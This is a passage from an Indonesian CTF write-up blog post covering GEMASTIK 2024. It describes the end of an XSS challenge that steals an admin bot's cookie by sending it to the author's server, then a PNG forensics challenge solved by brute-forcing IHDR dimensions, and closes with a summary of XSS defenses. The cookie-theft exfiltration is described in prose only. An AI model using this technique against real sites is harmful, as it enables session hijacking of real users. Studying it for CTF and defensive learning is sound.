<p>Setelah bot mengunjungi URL yang kita berikan, kita akan menerima POST request di HTTP Server yang berisi cookie dari bot.</p>

<p><img src="/assets/img/posts/2024-08-04-gemastik-2024/xssflag.png" class="img-fluid center m-1" /></p>

<p>Dan kita berhasil mendapatkan flag!</p>

<p><strong>Flag</strong>: <code class="language-plaintext highlighter-rouge">gemastik{s3lamat_anda_m3ndap4tkan_XSS}</code></p>

<hr />

<h1 id="challenge-2-baby-structured">Challenge 2: Baby Structured</h1>

<h2 id="deskripsi-challenge-1">Deskripsi Challenge</h2>

<blockquote>
  <p>my friend sent me a picture, but she say its got ‘cropped’. can you recover it?</p>
</blockquote>

<p><strong>Kategori</strong>: Forensics</p>

<p><img src="/assets/img/posts/2024-08-04-gemastik-2024/chall.png" class="img-fluid center m-1" /></p>

<h2 id="analisis-file">Analisis File</h2>

<p>Dari challenge ini kami diberikan sebuah file ZIP, dan ketika diekstrak terdapat sebuah gambar berformat PNG yang tidak dapat dibuka. Error ini disebabkan karena terdapat ketidakcocokan antara ukuran gambar (image size) dengan CRC checksum pada struktur PNG.</p>

<p>Untuk memverifikasi masalah pada file PNG, saya menggunakan tool <code class="language-plaintext highlighter-rouge">pngcheck</code>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>pngcheck file.png
</pre></td></tr></tbody></table></code></pre></div></div>

<p><img src="/assets/img/posts/2024-08-04-gemastik-2024/pngcheck.png" class="img-fluid center m-1" /></p>

<p>Terlihat bahwa terdapat error pada IHDR chunk yang menunjukkan bahwa CRC checksum tidak cocok dengan data yang ada.</p>

<h2 id="memahami-struktur-png">Memahami Struktur PNG</h2>

<p>Untuk memperbaiki file PNG ini, kita perlu memahami struktur file PNG, khususnya bagian IHDR (<em>Image Header</em>).</p>

<h3 id="ihdr-chunk-structure">IHDR Chunk Structure</h3>

<p>IHDR adalah chunk pertama dalam file PNG yang berisi informasi dasar tentang gambar. Struktur IHDR terdiri dari:</p>

<ul>
  <li><strong>4 byte</strong>: Width (lebar gambar)</li>
  <li><strong>4 byte</strong>: Height (tinggi gambar)</li>
  <li><strong>1 byte</strong>: Bit depth</li>
  <li><strong>1 byte</strong>: Color type</li>
  <li><strong>1 byte</strong>: Compression method</li>
  <li><strong>1 byte</strong>: Filter method</li>
  <li><strong>1 byte</strong>: Interlace method</li>
  <li><strong>4 byte</strong>: CRC checksum</li>
</ul>

<p><img src="/assets/img/posts/2024-08-04-gemastik-2024/ihdr.jpg" class="img-fluid center m-1" /></p>

<div class="alert alert-info">
    <div>
      <i class="fa-solid fa-circle-info"></i>
      <p>Info</p>
    </div>
    <p>CRC (Cyclic Redundancy Check) adalah metode untuk mendeteksi kesalahan pada data. Setiap chunk dalam PNG memiliki CRC yang dihitung berdasarkan tipe chunk dan data di dalamnya.</p>
  </div>

<h2 id="strategi-pemecahan">Strategi Pemecahan</h2>

<p>Karena CRC checksum tidak cocok dengan data IHDR, kemungkinan besar nilai width atau height yang salah. Untuk menemukan nilai yang benar, kita perlu melakukan <em>brute force</em> untuk mencoba berbagai kombinasi width dan height hingga menemukan nilai yang menghasilkan CRC checksum yang cocok.</p>

<h3 id="menggunakan-png-dimensions-bruteforcer">Menggunakan PNG Dimensions Bruteforcer</h3>

<p>Saya menggunakan tool dari GitHub yang dapat melakukan brute force terhadap dimensi PNG: https://github.com/cjharris18/png-dimensions-bruteforcer</p>

<p>Tool ini akan mencoba berbagai kombinasi width dan height dan mencocokkannya dengan CRC checksum yang ada di file. Ketika menemukan kombinasi yang tepat, tool akan berhenti dan menampilkan hasilnya.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>./png_image_bruteforce.py <span class="nt">-f</span> file.png
</pre></td></tr></tbody></table></code></pre></div></div>

<p><img src="/assets/img/posts/2024-08-04-gemastik-2024/bruteforcer.png" class="img-fluid center m-1" /></p>

<h3 id="mendapatkan-flag-1">Mendapatkan Flag</h3>

<p>Setelah proses brute force selesai, tool berhasil menemukan dimensi yang tepat dan menghasilkan file PNG yang dapat dibuka. Berikut adalah gambar yang berhasil diperbaiki:</p>

<p><img src="/assets/img/posts/2024-08-04-gemastik-2024/flag.png" class="img-fluid center m-1" /></p>

<p><strong>Flag</strong>: <code class="language-plaintext highlighter-rouge">gemastik{g0t_cr0pped_by_structur3}</code></p>

<hr />

<h1 id="kesimpulan">Kesimpulan</h1>

<p>Dalam writeup ini, kita telah membahas dua challenge yang berbeda dari GEMASTIK CTF 2024:</p>

<h2 id="baby-xss">Baby XSS</h2>
<p>Challenge ini memberikan konsep:</p>
<ul>
  <li><strong>XSS (Cross-Site Scripting)</strong>: Vulnerability yang memungkinkan attacker menjalankan JavaScript pada browser korban</li>
  <li><strong>Cookie Stealing</strong>: Teknik mencuri cookie menggunakan XSS untuk mendapatkan data sensitif</li>
  <li><strong>Admin Bot</strong>: Simulasi user yang akan mengunjungi URL berbahaya</li>
  <li><strong>Out-of-Band Data Exfiltration</strong>: Mengirimkan data yang dicuri ke server attacker</li>
</ul>

<p>Langkah preventif untuk menghindari XSS:</p>
<ol>
  <li>Selalu lakukan input validation dan sanitization</li>
  <li>Gunakan Content Security Policy (CSP)</li>
  <li>Encode output sebelum ditampilkan ke user</li>
  <li>Gunakan HTTP-only flag pada cookie sensitif</li>
  <li>Implementasi X-XSS-Protection header</li>
</ol>

<h2 id="baby-structured">Baby Structured</h2>
<p>Challenge ini memberikan konsep:</p>
<ul>
  <li><strong>PNG File Structure</strong>: Memahami struktur internal file PNG, terutama chunk IHDR</li>
  <li><strong>CRC Checksum</strong>: Mekanisme verifikasi integritas data dalam file PNG</li>
  <li><strong>File Forensics</strong>: Teknik memperbaiki file yang corrupt atau rusak</li>
  <li><strong>Brute Force</strong>: Metode untuk menemukan nilai yang tepat dengan mencoba berbagai kemungkinan</li>
</ul>

<p>Pembelajaran dari forensics:</p>
<ol>
  <li>Memahami struktur file format sangat penting dalam digital forensics</li>
  <li>Tool automation sangat membantu dalam proses brute force</li>
  <li>CRC checksum dapat digunakan untuk memverifikasi integritas data</li>
  <li>File yang tampak rusak masih bisa diperbaiki dengan pemahaman yang tepat tentang formatnya</li>
</ol>]]></content><author><name></name></author><category term="blog" /><category term="ctf" /><category term="web-security" /><category term="xss" /><category term="forensics" /><category term="png" /><category term="gemastik" /><summary type="html"><![CDATA[Writeup CTF challenge Web Exploitation dan Forensics Gemastik Divisi Cybersecurity yang saya ikuti pada tahun 2024]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://riskyprsty.github.io/assets/img/static/pp.jpg" /><media:content medium="image" url="https://riskyprsty.github.io/assets/img/static/pp.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry></feed>